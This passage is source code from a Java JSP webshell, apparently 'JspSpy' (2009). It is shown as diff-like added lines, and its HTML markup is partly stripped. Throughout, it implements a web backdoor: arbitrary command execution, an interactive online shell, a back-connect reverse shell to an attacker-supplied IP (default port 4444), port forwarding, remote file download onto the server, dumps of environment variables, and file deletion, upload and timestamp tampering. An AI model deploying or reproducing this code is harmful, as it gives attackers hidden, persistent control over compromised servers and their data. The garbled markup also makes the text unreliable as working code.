    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+""+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = f.canExecute() ? "checked=\"checked\"" : ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); + +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; +String read = request.getParameter("read"); +String write = request.getParameter("write"); +String execute = request.getParameter("execute"); +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); +if (Util.isEmpty(read)) { +file.setReadable(false); +} else { +file.setReadable(true); +} +if (Util.isEmpty(write)) { +file.setWritable(false); +} else { +file.setWritable(true); +} +if (Util.isEmpty(execute)) { +file.setExecutable(false); +} else { +file.setExecutable(true); +} +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); + +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); + +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); + +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//Ϣ +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new 